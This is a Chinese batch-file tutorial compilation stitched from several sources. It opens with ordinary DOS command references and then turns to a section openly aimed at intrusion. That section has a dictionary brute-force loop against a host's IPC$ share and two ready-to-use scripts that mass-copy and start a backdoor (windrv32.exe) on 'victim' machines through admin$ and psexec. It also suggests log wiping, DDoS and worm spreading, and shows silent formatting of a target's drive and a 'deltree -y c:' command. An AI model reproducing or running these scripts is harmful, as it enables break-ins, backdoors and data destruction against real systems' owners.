    IF "%1"=="" GOTO EXIT

    IF %1==1 GOTO L1

    IF %1==2 GOTO L2

    GOTO EXIT

    :L1

    ECHO I AM L1

    GOTO EXIT

    :L2

    ECHO I AM L2

    :EXIT

    本例中, ""( 空字符串 ) 、 1 、 2 是指定要与 %1 参数比较诉字符串。

    REM 范例:③

    @ECHO OFF

    IF NOT EXIST PE2.EXE GOTO EXIT

    PE2

    GOTO END

    :EXIT

    ECHO PE2.EXE NOT FOUND!

    :END

    本例中,先检查 PE2.EXE 文件是否存在,不存在时则显示一个找不到的信息后结束。如果找到时则执行该程序后结束。

    PAUSE 内部命令、批处理文件命令 1 .功能: 暂时停止系统命令的执行并显示下列信息:

    strike a eky when ready......

    2 .格式: PAUSE

    3 .说明: ①、 PAUSE 命令可以在 DOS 执行一个命令时暂停,使您有机会来更换盘片。按下任何一个键后,即可让 DOS 继续执行下一个命令。

    ②、执行 PAUSE 命令时,系统会暂停;如果您要终止执行此批处理文件,则您可按下 Ctrl+Break 二键,接头按下 Y ,即可终止执行,但如果于此时按下 N ,则系统将 
    继续执行其它命令。

    4 .范例: PAUSE1.BAT 文件,内容如下:

    @ECHO OFF

    @ECHO I am first

    PAUSE

    @ECHO ON

    @ECHO I am second

    @ECHO Please put a new diskette into drive A

    PAUSE

    则其执行结果如下所示:

    A:/>PAUSE1

    I am first

    strike any key when ready...

    I am second

    Please put a new diskette into drive A

    strike any key when ready...

    REM 批处理文件命令、配置文件命令 1 .功能: 可以在配置文件 (CONFIG.SYS) 或批处理文件 (.BAT) 中加上注解说明。

    2 .格式: REM [comment]

    3 .说明: ①、 [comment] 参数:表示注解行,不会被当作命令执行。

    ②、您可在配置文件或批处理文件中将命令的功能注解加注在其中,以供日后引用。

    ③、 CONFIG.SYS 文件中的 REM 与在批处理文件中 REM ,皆可为注解的命令行。但是在批处理文件中, REM 会被显示出来,而在 CONFIG.SYS 的 REM 命令行在起动 
    DOS 时并不会被显示出来。

    4 .范例: REM this is a sample CONFIG.SYS FOR DBASE 3

    FILES=25

    BUFFERS=20

    SHIFT 内部命令、批处理文件命令 1 .功能: 使得 DOS 命令行上可以使用超过 10 个 (%0 到 %9) 以上的可替代参数。

    格式 SHIFT

    3 .说明 1 .可替代参数的编号是 %0--%9 ,如果要在一个命令行使用超过 10 个可以被代换的参数,则您可使用 SHIFT 命令来突破此限制。

    2 .每当执行 SHIFT 一次,所有命令行上的所有参数将向左移动一位。 %1 的内容将为 %2 的内容所取代 ... , %9 内容则由新的参数递补。

    3 . %0 表示批处理文件本身的名称,永远不变,所以每次执行时您可以加上 9 个参数在批处理文件名后。若要增加一个参数,则您将需要使用这个 SHIFT 命令来移位 
    ,才可取得第十个参数。

    4 .范例 1 . SHIFT.BAT 文件,内容如下:

    @ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

    SHIFT

    @ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

    SHIFT

    @ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

    2 .执行结果如下:

    A:/>SHIFT 1 1 2 3 4 5 6 7 8 9 10 11( 先后跟随 11 个参数 )

    1 2 3 4 5 6 7 8 9 ( 取最前面 9 个参数)

    A:/>SHIFT ( 移位 )

    2 3 4 5 6 7 8 9 10 ( 取另外 9 个参数 )

    A:/>SHIFT ( 移动 )

    批处理文件从入门到精通

    批处理文件是由一个或一个以上的 DOS 命令及可执行命令组成的带有扩展名. BAT 的文件。当用户以批处理文件名为命令时, DOS 会自动依次执行文件中的命令。批处 
    理文件的特点是一次建立可多次执行。�

    在批处理文件中有一个特殊的批处理文件,每次启动计算机时,系统自动执行该文件中的每一条命令。该文件必须满足两个条件:一是文件名为 AUTOEXEC . BAT ,二是 
    该文件的位置必须放在启动盘(也可称为系统盘)的根目录下。�

    在批处理文件中除了使用 DOS 命令之外,还可使用批处理子命令,这些命令也可看作 DOS 的内部命令,它们是:�

    1 ) ECHO-- 显示方式设置;其中 ECHO ON 是使以后的命令在执行前先显示, ECHO OFF 是使以后的命令在执行前不显示, ECHO MASSAGE 是不论 ECHO 的状态为 ON 或 
    OFF ,都显示 MESSAGE 所指定的信息。�

    2 ) REM-- 注释命令。

    3 ) PAUSE-- 暂停系统处理,系统显示 Press any key to continue …,等待用户按任意一个键后继续执行。�

    4 ) GOTO-- 转向子命令。�

    5 ) IF-- 条件子命令。�

    6 ) FOR-- 循环子命令。�

    7 ) SHIFT-- 改变参数的位置。�

    电脑每次启动时都会寻找 autoexec.bat 这条批处理文件,从而可执行一些每次开机都要执行的命令,如设置路径 path 、加载鼠标驱动 mouse 、磁盘加速 smartdrv 等 
    ,可以使您的电脑真正自动化。

       echo 、 @ 、 call 、 pause 、 rem  是批处理文件最常用的几个命令,我们就从他们开始学起。 echo 表示显示此命令后的字符

    echo off 表示在此语句后所有运行的命令都不显示命令行本身

    @ 与 echo off 相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。

    call 调用另一条批处理文件(如果直接调用别的批处理文件 ,执行完那条文件后将无法执行当前文件后续命令)

    pause 运行此句会暂停,显示 Press any key to continue... 等待用户按任意键后继续

    rem 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的

      例:用 edit 编辑 a.bat 文件,输入下列内容后存盘为 c:/a.bat ,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt 中,启动 UCDOS ,进入 WPS 等 
    功能。

      批处理文件的内容为 :         文件表示:

         echo off             不显示命令行

         dir c:/*.* >a.txt        将 c 盘文件列表写入 a.txt

         call c:/ucdos/ucdos.bat     调用 ucdos

         echo 你好            显示 " 你好 "

         pause              暂停 , 等待按键继续

         rem 使用 wps           注释将使用 wps

         cd ucdos             进入 ucdos 目录

         wps               使用 wps   

      批处理文件中还可以像 C 语言一样使用参数,这只需用到一个参数表示符 % 。

       % 表示参数,参数是指在运行批处理文件时在文件名后加的字符串。变量可以从 %0 到 %9 , %0 表示文件名本身,字符串用 %1 到 %9 顺序表示。

      例如, C :根目录下一批处理文件名为 f.bat ,内容为 format %1

      则如果执行 C:/>f a:    则实际执行的是 format a:

      又如 C :根目录下一批处理文件的名为 t.bat ,内容为 type %1 type %2

      那么运行 C:/>t a.txt b.txt 将顺序地显示 a.txt 和 b.txt 文件的内容

       if goto choice for  是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。

    if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式 :

    1 、 if " 参数 " == " 字符串 "  待执行的命令

    参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。 ( 注意是两个等号)

    如 if "%1"=="a" format a:

    2 、 if exist 文件名  待执行的命令

    如果有指定的文件,则条件成立,运行命令,否则运行下一句。如 if exist config.sys edit config.sys

    3 、 if errorlevel 数字  待执行的命令

    如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如 if errorlevel 2 goto x2   DOS 程序运行时都会返回一个数字给 DOS ,称为错误码 
    errorlevel 或称返回码

    goto 批处理文件运行到这里将跳到 goto 所指定的标号处, 一般与 if 配合使用。 如 :

    goto end

    :end

    echo this is the end

    标号用 : 字符串 表示,标号所在行不被执行

    choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加 /c: 参数, c: 后应写提示可输入的字符,之间无空格。它的返回码为 1234 ……

    如 : choice /c:dme defrag,mem,end

    将显示

    defrag,mem,end[D,M,E]?

    例如, test.bat 的内容如下 :

    @echo off

    choice /c:dme defrag,mem,end

    if errorlevel 3 goto defrag 应先判断数值最高的错误码

    if errorlevel 2 goto mem

    if errotlevel 1 goto end

    :defrag

    c:/dos/defrag

    goto end

    :mem

    mem

    goto end

    :end

    echo good bye

    此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择 d m e ,然后 if 语句将作出判断, d 表示执行标号为 defrag 的程序段, m 表示执行标号为 mem 的程 
    序段, e 表示执行标号为 end 的程序段,每个程序段最后都以 goto end 将程序跳到 end 标号处,然后程序将显示 good bye ,文件结束。

    for 循环命令,只要条件符合,它将多次执行同一命令。

    格式 FOR [%%f] in ( 集合 ) DO [ 命令 ]

    只要参数 f 在指定的集合内,则条件成立,执行命令

    如果一条批处理文件中有一行 :

    for %%c in (*.bat *.txt) do type %%c

    含义是如果是以 bat 或 txt 结尾的文件,则显示文件的内容。

       DOS 在启动会自动运行 autoexec.bat 这条文件,一般我们在里面装载每次必用的程序,如 : path( 设置路径 ) 、 smartdrv( 磁盘加速 ) 、 mouse( 鼠标启动 ) 
    、 mscdex( 光驱连接 ) 、 doskey( 键盘管理 ) 、 set( 设置环境变量 ) 等。

      如果启动盘根目录中没有这个文件,电脑会让用户输入日期和时间。

      例如,一个典型的 autoexec.bat 内容如下 :

    @echo off                      不显示命令行

    prompt $p$g                     设置提示符前有目录提示

    path c:/dos;c:/;c:/windows;c:/ucdos;c:/tools     设置路径

    lh c:/dos/doskey.com                加载键盘管理

    lh c:/mouse/mouse.com                加载鼠标管理

    lh c:/dos/smartdrv.exe               加载磁盘加速管理

    lh c:/dos/mscdex /S /D:MSCD000 /M:12 /V       加载 CD-ROM 驱动

    set temp=c:/temp                  设置临时目录

    一些危险的命令会被某些有心人写进批处理文件中去,在网上四处传播搞破坏,例如在 .bat 中写进:

       deltree -y c: 兡

      接下来的事情就是你赶紧拿条手巾擦眼泪吧。从这个意义上说它比病毒还要恶毒。

      类似的,在 .hlp (帮助文件)、 .pif (指向 DOS 的快捷方式)、 .lnk ( WINDOWS 快捷方式)这些文件中也可以写入危险的命令,如果不小心执行了那就危险 
    了。防范以上调用 DOS 命令进行破坏的文件,被动的做法是通过将 format 、 deltree 这类命令改名换姓。

    ( 一 ) 应用 DOS 重定向功能

    DOS 的标准输入输出通常是在标准设备键盘和显示器上进行的 , 利用重定向 , 可以方便地将输入输出改向磁盘文件或其它设备。如在批处理命令执行期间为了禁止命令 
    或程序执行后输出信息而扰乱屏幕 , 可用 DOS 重定向功能把输出改向 NUL 设备 (NUL 不指向任何实际设备 ): C:/>COPY A.TXT B.TXT > NUL 。

    命令执行结束不显示 "1 file(s) copied" 的信息。有的交互程序在执行时要求很多键盘输入 , 但有时输入是固定不变的 , 为加快运行速度 , 可预先建立一个输入文件 
    , 此文件的内容为程序的键盘输入项 , 每个输入项占一行。假如有一个程序 ZB, 其输入项全部包括在文件 IN.DAT 中 , 执行 C:/>ZB NUL 程序就自动执行。

    ( 二 ) 应用 DOS 管道功能

    DOS 的管道功能是使一个程序或命令的标准输出用做另一个程序或命令的标准输入。如把 DEBUG 的输入命令写入文件 AAA, 用 TYPE 命令通过管道功能将 AAA 的内容传 
    输给 DEBUG, 在 DEBUG 执行期间不再从控制台索取命令参数 , 从而提高了机器效率。命令为 : C:/>TYPE AAA|DEBUG >BBB 。

    ( 三 ) 子程序

    在一个批处理文件可用 CALL 命令调用另一个子批处理文件 , 当子批文件执行结束后 , 自动返回父批文件 , 继续向下执行。如 : A.BAT B.BAT , A 调用 B,A.BAT 内 
    容如下:

    @ECHO OFF

    CALL B

    CD /BASIC

    BASICA BG

    @ECHO ON

    ( 四 ) 菜单选择功能

    DOS 功能调用 31H 或 4CH 所提供的一字节的返回码 , 通过批处理子命令 IF 和 ERRORLEVEL 对返回码进行处理 , 可达到自动执行一批命令的目的。在批处理文件中实 
    现高级语言所有的菜单提示功能 , 使批处理文件变得更灵活方便。先用 DEBUG 建立一个菜单驱动程序 MENU.COM, 对应地编写一个批处理文件 LG.BAT 。具体内容和方法 
    见下表 :

    DEBUG

    -A

    -166C:0100 MOV DX,111

    -166C:0103 MOV AH,09

    -166C:0105 INT 21

    -166C:0107 MOV AH,01

    -166C:0109 INT 21

    -166C:010B MOV AH,4C

    -166C:010D INT 21

    -166C:010F INT 20

    -166C:0111 DB "******************************"0D 0A

    -166C:0131 DB "* 1.Turbo Pascal 5.00 *"0D 0A

    -166C:0151 DB "* 2.Turbo Basci 1.00 *"0D 0A

    -166C:0171 DB "* 3.Turbo Prolog 2.00 *"0D 0A

    -166C:0191 DB "* 4.Turbo C 2.00 *"0D 0A

    -166C:01B1 DB "* 0.Exit *"0D 0A

    -166C:01B1 DB "******************************"0D 0A

    -166C:01F1 DB "Your choice(0..4) : "24 0D 0A 1A

    -166C:0209

    -R CX

    CX 0000

    :108

    -N MENU.COM

    -W

    Writing 0108 bytes

    -Q

    @ECHO OFF:

    START

    CLS

    MENU

    IF ERRORLEVEL 52 GOTO C

    IF ERRORLEVEL 51 GOTO PRO

    IF ERRORLEVEL 50 GOTO BAS

    IF ERRORLEVEL 49 GOTO PAS

    IF ERRORLEVEL 48 GOTO EX

    CLS

    GOTO START

    AS

    CD /TP5.00

    TURBO

    CD /

    GOTO START

    :BAS

    CD /TB

    TB

    CD /

    GOTO START

    RO

    CD /TPROLOG

    PROLOG

    CD /

    GOTO START

    :C

    CD /TURBOC

    TC

    CD /

    GOTO START

    :EX

    @ECHO ON

    执行 LG, 屏幕左上角出现一个菜单 , 并提示用户输入选择 , 当选择的功能执行结束 , 重新返回主菜单请求选择 , 直到选择 "0" 号功能 , 程序结束返回 DOS 。

    ( 五 ) 应用命令处理程序完成大量重复工作

    DOS 提供调用次级命令程序的方法 , 可实现与子程序等效的功能 , 在 MS DOS3.3 以前的 DOS 版本下非常有用。如你有一批 FORTRAN 源程序需要编译 , 首先编写两个 
    批文件 MAKEOBJ.BAT 、 C.BAT, 然后执行 MAKEOBJ, 即可把当前目录下的所有扩展名为 .FOR 的 FORTRAN 源程序编译成 OBJ 文件。这种方法迅速正确 , 人机交互少 , 
    减轻了程序员的的大量劳动。

    MAKEOBJ.BAT C.BAT

    @ECHO OFF

    ECHO COMPILE FORTRAN PROGRAMS.

    FOR %%A IN (*.FOR) DO COMMAND /C C %%A

    ECHO FINISH !

    @ECHO ON @ECHO OFF

    ECHO ------ COMPILE %1 ------

    FOR1 %1; >NUL

    FOR2 >NUL

    @ECHO ON

    批处理详细教程

    最近对于批处理技术的探讨比较热,也有不少好的批处理程序发布,但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件,也就更谈不上自己动手编写了 
    ,古语云:“授人以鱼,不如授人以渔。”因为网上好像并没有一个比较完整的教材 , 所以抽一点时间写了这片 << 简明批处理教程 > > 给新手朋友们 . 也献给所有为 
    实现网络的自由与共享而努力的朋友们 .

    批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd 。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会 
    调用 Cmd.exe 按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的 
    主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。

    批处理详细教程(一)

    简单批处理内部命令简介

    1.Echo 命令

    打开回显或关闭请求回显功能,或显示消息。如果没有任何参数, echo 命令将显示当前回显设置。

    语法

    echo [{on|off}] [message]

    Sample : @echo off / echo hello world

    在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用 > >> ^ )结合来实现输入一些命令到特定格式的文件中 . 这将在以后的例子中体现出来。

    2.@ 命令

    表示不显示 @ 后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。

    Sample : @echo off

    @echo Now initializing the program,please wait a minite...

    @format X: /q/u/autoset (format 这个命令是不可以使用 /y 这个参数的,可喜的是微软留了个 autoset 这个参数给我们,效果和 /y 是一样的。 )

    3.Goto 命令

    指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。

    语法: goto label ( label 是参数,指定所要转向的批处理程序中的行。)

    Sample :

    if {%1}=={} goto noparms

    if {%2}=={} goto noparms (如果这里的 if 、 %1 、 %2 你不明白的话,先跳过去,后面会有详细的解释。)

    @Rem check parameters if null show usage

    :noparms

    echo Usage: monitor.bat ServerIP PortNumber

    goto end

    标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签, goto 命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这 
    样你别人看起来才会理解你的意图啊。

    4.Rem 命令

    注释命令,在 C 语言中相当与 /*--------*/, 它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。

    Rem Message

    Sample : @Rem Here is the description.

    5.Pause 命令

    运行 Pause 命令时,将显示下面的消息:

    Press any key to continue . . .

    Sample :

    @echo off

    :begin

    copy a:*.* d : /back

    echo Please put a new disk into driver A

    pause

    goto begin

    在这个例子中,驱动器 A 中磁盘上的所有文件均复制到 d:/back 中。显示的注释提示您将另一张磁盘放入驱动器 A 时, pause 命令会使程序挂起,以便您更换磁盘, 
    然后按任意键继续处理。

    6.Call 命令

    从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。 call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call ,它将不会在命令行 
    起作用。

    语法

    call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

    参数

    [Drive:}[Path] FileName

    指定要调用的批处理程序的位置和名称。 filename 参数必须具有 .bat 或 .cmd 扩展名。

    7.start 命令

    调用外部程序,所有的 DOS 命令和命令行程序都可以由 start 命令来调用。

    入侵常用参数:

    MIN 开始时窗口最小化

    SEPARATE 在分开的空间内开始 16 位 Windows 程序

    HIGH 在 HIGH 优先级类别开始应用程序

    REALTIME 在 REALTIME 优先级类别开始应用程序

    WAIT 启动应用程序并等候它结束

    parameters 这些为传送到命令 / 程序的参数

    执行的应用程序是 32- 位 GUI 应用程序时, CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。

    8.choice 命令

    choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加 /c: 参数, c: 后应写提示可输入的字符,之间无空格。它的返回码为 1234 ……

    如 : choice /c:dme defrag,mem,end

    将显示

    defrag,mem,end[D,M,E]?

    Sample :

    Sample.bat 的内容如下 :

    @echo off

    choice /c:dme defrag,mem,end

    if errorlevel 3 goto defrag (应先判断数值最高的错误码)

    if errorlevel 2 goto mem

    if errotlevel 1 goto end

    :defrag

    c:/dos/defrag

    goto end

    :mem

    mem

    goto end

    :end

    echo good bye

    此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择 d m e ,然后 if 语句将作出判断, d 表示执行标号为 defrag 的程序段, m 表示执行标号为 mem 的程 
    序段, e 表示执行标号为 end 的程序段,每个程序段最后都以 goto end 将程序跳到 end 标号处,然后程序将显示 good bye ,文件结束。

    批处理详细教程(二)

    9.If 命令

    if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式 :

    1 、 if " 参数 " == " 字符串 "  待执行的命令

    参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。 ( 注意是两个等号)

    如 if "%1"=="a" format a:

    if {%1}=={} goto noparms

    if {%2}=={} goto noparms

    2 、 if exist 文件名  待执行的命令

    如果有指定的文件,则条件成立,运行命令,否则运行下一句。

    如 if exist config.sys edit config.sys

    3 、 if errorlevel / if not errorlevel 数字  待执行的命令

    如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。

    如 if errorlevel 2 goto x2  

    DOS 程序运行时都会返回一个数字给 DOS ,称为错误码 errorlevel 或称返回码,常见的返回码为 0 、 1 。

    10.for 命令

    for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。

    在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

    for {%variable|%%variable} in (set) do command [ CommandLineOptions]

    %variable 指定一个单一字母可替换的参数。

    (set) 指定一个或一组文件。可以使用通配符。

    command 指定对每个文件执行的命令。

    command-parameters 为特定命令指定参数或命令行开关。

    在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

    而不要用 %variable 。变量名称是区分大小写的,所以 %i 不同于 %I

    如果命令扩展名被启用,下列额外的 FOR 命令格式会受到

    支持 :

    FOR /D %variable IN (set) DO command [command-parameters]

    如果集中包含通配符,则指定与目录名匹配,而不与文件

    名匹配。

    FOR /R [[drive:]path] %variable IN (set) DO command [command-

    检查以 [drive:]path 为根的目录树,指向每个目录中的

    FOR 语句。如果在 /R 后没有指定目录,则使用当前

    目录。如果集仅为一个单点 (.) 字符,则枚举该目录树。

    FOR /L %variable IN (start,step,end) DO command [command-para

    该集表示以增量形式从开始到结束的一个数字序列。

    因此, (1,1,5) 将产生序列 1 2 3 4 5 , (5,-1,1) 将产生

    序列 (5 4 3 2 1) 。

    FOR /F ["options"] %variable IN (file-set) DO command

    FOR /F ["options"] %variable IN ("string") DO command

    FOR /F ["options"] %variable IN (command) DO command

    或者,如果有 usebackq 选项 :

    FOR /F ["options"] %variable IN (file-set) DO command

    FOR /F ["options"] %variable IN ("string") DO command

    FOR /F ["options"] %variable IN (command) DO command

    filenameset 为一个或多个文件名。继续到 filenameset 中的

    下一个文件之前,每份文件都已被打开、读取并经过处理。

    处理包括读取文件,将其分成一行行的文字,然后将每行

    解析成零或更多的符号。然后用已找到的符号字符串变量值

    调用 For 循环。以默认方式, /F 通过每个文件的每一行中分开

    的第一个空白符号。跳过空白行。您可通过指定可选 "options"

    参数替代默认解析操作。这个带引号的字符串包括一个或多个

    指定不同解析选项的关键字。这些关键字为 :

    eol=c - 指一个行注释字符的结尾 ( 就一个 )

    skip=n - 指在文件开始时忽略的行数。

    delims=xxx - 指分隔符集。这个替换了空格和跳格键的

    默认分隔符集。

    tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代

    的 for 本身。这会导致额外变量名称的

    格式为一个范围。通过 nth 符号指定 m

    符号字符串中的最后一个字符星号,

    那么额外的变量将在最后一个符号解析之

    分配并接受行的保留文本。

    usebackq - 指定新语法已在下类情况中使用 :

    在作为命令执行一个后引号的字符串并且

    引号字符为文字字符串命令并允许在 fi

    中使用双引号扩起文件名称。

    sample1:

    FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

    会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将

    每行中的第二个和第三个符号传递给 for 程序体;用逗号和 / 或

    空格定界符号。请注意,这个 for 程序体的语句引用 %i 来

    取得第二个符号,引用 %j 来取得第三个符号,引用 %k

    来取得第三个符号后的所有剩余符号。对于带有空格的文件

    名,您需要用双引号将文件名括起来。为了用这种方式来使

    用双引号,您还需要使用 usebackq 选项,否则,双引号会

    被理解成是用作定义某个要分析的字符串的。

    %i 专门在 for 语句中得到说明, %j 和 %k 是通过

    tokens= 选项专门得到说明的。您可以通过 tokens= 一行

    指定最多 26 个符号,只要不试图说明一个高于字母 z 或

    Z 的变量。请记住, FOR 变量是单一字母、分大小写和全局的;

    同时不能有 52 个以上都在使用中。

    您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,

    用单引号将括号之间的 filenameset 括起来。这样,该字符

    串会被当作一个文件中的一个单一输入行。

    最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将

    括号之间的 filenameset 变成一个反括字符串。该字符串会

    被当作命令行,传递到一个子 CMD.EXE ,其输出会被抓进

    内存,并被当作文件分析。因此,以下例子 :

    FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

    会枚举当前环境中的环境变量名称。

    另外, FOR 变量参照的替换已被增强。您现在可以使用下列

    选项语法 :

    ~I - 删除任何引号 (") ,扩充 %I

    %~fI - 将 %I 扩充到一个完全合格的路径名

    %~dI - 仅将 %I 扩充到一个驱动器号

    %~pI - 仅将 %I 扩充到一个路径

    %~nI - 仅将 %I 扩充到一个文件名

    %~xI - 仅将 %I 扩充到一个文件扩展名

    %~sI - 扩充的路径只含有短名

    %~aI - 将 %I 扩充到文件的文件属性

    %~tI - 将 %I 扩充到文件的日期 / 时间

    %~zI - 将 %I 扩充到文件的大小

    %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充

    到找到的第一个完全合格的名称。如果环境变量

    未被定义,或者没有找到文件,此组合键会扩充

    空字符串

    可以组合修饰符来得到多重结果 :

    %~dpI - 仅将 %I 扩充到一个驱动器号和路径

    %~nxI - 仅将 %I 扩充到一个文件名和扩展名

    %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名

    %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充

    到找到的第一个驱动器号和路径。

    %~ftzaI - 将 %I 扩充到类似输出线路的 DIR

    在以上例子中, %I 和 PATH 可用其他有效数值代替。 %~ 语法

    用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名

    比较易读,而且避免与不分大小写的组合键混淆。

    以上是 MS 的官方帮助,下面我们举几个例子来具体说明一下 For 命令在入侵中的用途。

    sample2 :

    利用 For 命令来实现对一台目标 Win2k 主机的暴力密码破解。

    我们用 net use //ip/ipc$ "password" /u:"administrator" 来尝试这和目标主机进行连接,当成功时记下密码。

    最主要的命令是一条: for /f i% in (dict.txt) do net use //ip/ipc$ "i%" /u:"administrator"

    用 i% 来表示 admin 的密码,在 dict.txt 中这个取 i% 的值用 net use 命令来连接。然后将程序运行结果传递给 find 命令--

    for /f i%% in (dict.txt) do net use //ip/ipc$ "i%%" /u:"administrator"|find ": 命令成功完成 ">>D:/ok.txt ,这样就 ko 了。

    sample3 :

    你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日 
    常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。

    主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable )

    @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k

    tokens 的用法请参见上面的 sample1 ,在这里它表示按顺序将 victim.txt 中的内容传递给 door.bat 中的参数 %i %j %k 。

    而 cultivate.bat 无非就是用 net use 命令来建立 IPC$ 连接,并 copy 木马+后门到 victim ,然后用返回码( If errorlever = )来筛选成功种植后门的主机,并 
    echo 出来,或者 echo 到指定的文件。

    delims= 表示 vivtim.txt 中的内容是一空格来分隔的。我想看到这里你也一定明白这 victim.txt 里的内容是什么样的了。应该根据 %%i %%j %%k 表示的对象来排列, 
    一般就是 ip password username 。

    代码雏形:

    --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

    @echo off

    @if "%1"=="" goto usage

    @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

    @goto end

    :usage

    @echo run this batch in dos modle.or just double-click it.

    :end

    --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

    ------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------

    @net use //%1/ipc$ %3 /u:"%2"

    @if errorlevel 1 goto failed

    @echo Trying to establish the IPC$ connection …………OK

    @copy windrv32.exe//%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt

    @psexec //%1 c:/winnt/system32/windrv32.exe

    @psexec //%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

    :failed

    @echo Sorry can not connected to the victim.

    ----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------

    这只是一个自动种植后门批处理的雏形,两个批处理和后门程序( Windrv32.exe ) ,PSexec.exe 需放在统一目录下 . 批处理内容

    尚可扩展 , 例如 : 加入清除日志 +DDOS 的功能 , 加入定时添加用户的功能 , 更深入一点可以使之具备自动传播功能 ( 蠕虫 ). 此处不多做叙述 , 有兴趣的朋友可自 
    行研究 .

    批处理详细教程(三)

    No.2

    二 . 如何在批处理文件中使用参数

    批处理中可以使用参数,一般从 1% 到 9% 这九个,当有多个参数时需要用 shift 来移动,这种情况并不多见,我们就不考虑它了。

    sample1 : fomat.bat

    @echo off

    if "%1"=="a" format a:

    :format

    @format a:/q/u/auotset

    @echo please insert another disk to driver A.

    @pause

    @goto fomat

    这个例子用于连续地格式化几张软盘,所以用的时候需在 dos 窗口输入 fomat.bat a ,呵呵 , 好像有点画蛇添足了~ ^_^

    sample2 :

    当我们要建立一个 IPC$ 连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地 ip password username 当着参数 
    来赋给这个批处理,这样就不用每次都打命令了。

    @echo off

    @net use //1%/ipc$ "2%" /u:"3%" 注意哦,这里 PASSWORD 是第二个参数。

    @if errorlevel 1 echo connection failed

    怎么样 , 使用参数还是比较简单的吧?你这么帅一定学会了 ^_^.No.3

    三 . 如何使用组合命令 (Compound Command)

    1.&

    Usage :第一条命令 & 第二条命令 [& 第三条命令 ...]

    用这种方法可以同时执行多条命令,而不管命令是否执行成功

    Sample :

    C:/>dir z: & dir c:/Ex4rch

    The system cannot find the path specified.

    Volume in drive C has no label.

    Volume Serial Number is 0078-59FB

    Directory of c:/Ex4rch

    2002-05-14 23:51 <DIR> .

    2002-05-14 23:51 <DIR> ..

    2002-05-14 23:51 14 sometips.gif

    2.&&

    Usage :第一条命令 && 第二条命令 [&& 第三条命令 ...]

    用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

    Sample :

    C:/>dir z: && dir c:/Ex4rch

    The system cannot find the path specified.

    C:/>dir c:/Ex4rch && dir z:

    Volume in drive C has no label.

    Volume Serial Number is 0078-59FB

    Directory of c:/Ex4rch

    2002-05-14 23:55 <DIR> .

    2002-05-14 23:55 <DIR> ..

    2002-05-14 23:55 14 sometips.gif

    1 File(s) 14 bytes

    2 Dir(s) 768,671,744 bytes free

    The system cannot find the path specified.

    在做备份的时候可能会用到这种命令会比较简单,如:

    dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:/backup

    如果远程服务器上存在 backup.mdb 文件,就执行 copy 命令,若不存在该文件则不执行 copy 命令。这种用法可以替换 IF exist 了 :)

    3.||

    Usage :第一条命令 || 第二条命令 [|| 第三条命令 ...]

